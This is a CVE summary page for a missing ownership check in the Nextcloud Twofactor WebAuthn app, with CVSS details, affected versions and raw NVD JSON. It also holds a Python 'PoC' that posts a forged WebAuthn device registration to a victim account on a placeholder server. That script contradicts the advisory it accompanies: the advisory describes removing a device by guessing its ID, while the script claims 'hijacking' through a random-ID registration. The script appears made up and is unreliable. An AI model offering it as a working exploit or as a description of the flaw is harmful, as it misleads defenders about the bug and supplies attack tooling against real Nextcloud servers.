Security Vulnerability Report
中文
CVE-2025-66558 CVSS 3.1 LOW

CVE-2025-66558

Published: 2025-12-05 18:15:59
Last Modified: 2025-12-09 16:44:59

Description

Nextcloud Twofactor WebAuthn is the WebAuthn Two-Factor Provider for Nextcloud. Prior to 1.4.2 and 2.4.1, a missing ownership check allowed an attack to take-away a 2FA webauthn device when correctly guessing a 80-128 character long random string of letters, numbers and symbols. The victim would then be prompted to register a new device on the next login. The attacker can not authenticate as the victim. This vulnerability is fixed in 1.4.2 and 2.4.1.

CVSS Details

CVSS Score
3.1
Severity
LOW
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:nextcloud:two-factor_webauthn:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:nextcloud:two-factor_webauthn:*:*:*:*:*:*:*:* - VULNERABLE
Nextcloud Twofactor WebAuthn < 1.4.2
Nextcloud Twofactor WebAuthn < 2.4.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import random import string # CVE-2025-66558 PoC - Nextcloud Twofactor WebAuthn Device Hijacking # This PoC demonstrates the device ownership verification bypass TARGET_URL = "https://vulnerable-nextcloud-server" ATTACKER_TOKEN = "attacker_session_token" VICTIM_USER_ID = "victim_user_id" def generate_random_credential_id(length=80): """Generate a random credential ID (80-128 chars) as in the vulnerability""" chars = string.ascii_letters + string.digits + string.punctuation return ''.join(random.choice(chars) for _ in range(length)) def exploit_device_hijacking(): """ Attack flow: 1. Attacker generates a random credential ID 2. Attacker sends device registration request to victim's account 3. Server accepts the request without verifying ownership 4. Victim's original WebAuthn device is overwritten """ session = requests.Session() session.headers.update({'Authorization': f'Bearer {ATTACKER_TOKEN}'}) # Step 1: Generate random credential ID (80-128 chars) credential_id = generate_random_credential_id(80) # Step 2: Prepare device registration payload payload = { 'credentialId': credential_id, 'userId': VICTIM_USER_ID, 'deviceName': 'Malicious Security Key', 'publicKey': 'attacker_generated_public_key' } # Step 3: Send registration request (vulnerable endpoint) # The server should reject this but doesn't due to missing ownership check response = session.post( f"{TARGET_URL}/apps/twofactor_webauthn/api/v1/register", json=payload ) # Step 4: Check if device was successfully hijacked if response.status_code == 200: print("[+] Device hijacking successful!") print("[-] Victim will be prompted to re-register device on next login") else: print("[-] Attack failed or server has been patched") return response.status_code == 200 if __name__ == "__main__": print("CVE-2025-66558 PoC - Nextcloud Twofactor WebAuthn") print("Vulnerability: Missing ownership check allows device takeover") exploit_device_hijacking()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-66558", "sourceIdentifier": "[email protected]", "published": "2025-12-05T18:15:59.140", "lastModified": "2025-12-09T16:44:58.910", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Nextcloud Twofactor WebAuthn is the WebAuthn Two-Factor Provider for Nextcloud. Prior to 1.4.2 and 2.4.1, a missing ownership check allowed an attack to take-away a 2FA webauthn device when correctly guessing a 80-128 character long random string of letters, numbers and symbols. The victim would then be prompted to register a new device on the next login. The attacker can not authenticate as the victim. This vulnerability is fixed in 1.4.2 and 2.4.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 3.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-639"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nextcloud:two-factor_webauthn:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.0.0", "versionEndExcluding": "1.4.2", "matchCriteriaId": "C71FF026-3DFA-48DF-BCEE-7A5434D0E0D1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nextcloud:two-factor_webauthn:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.0.0", "versionEndExcluding": "2.4.1", "matchCriteriaId": "35454E68-E1E9-4955-9E67-BA56A57E2BFC"}]}]}], "references": [{"url": "https://github.com/nextcloud/security-advisories/security/advisories/GHSA-fr8x-mvjg-wf9q", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}, {"url": "https://github.com/nextcloud/twofactor_webauthn/commit/5d2302166d31ee2e01b2e21556bd5372156da13d", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/nextcloud/twofactor_webauthn/pull/881", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://hackerone.com/reports/3360354", "source": "[email protected]", "tags": ["Permissions Required", "Vendor Advisory"]}]}}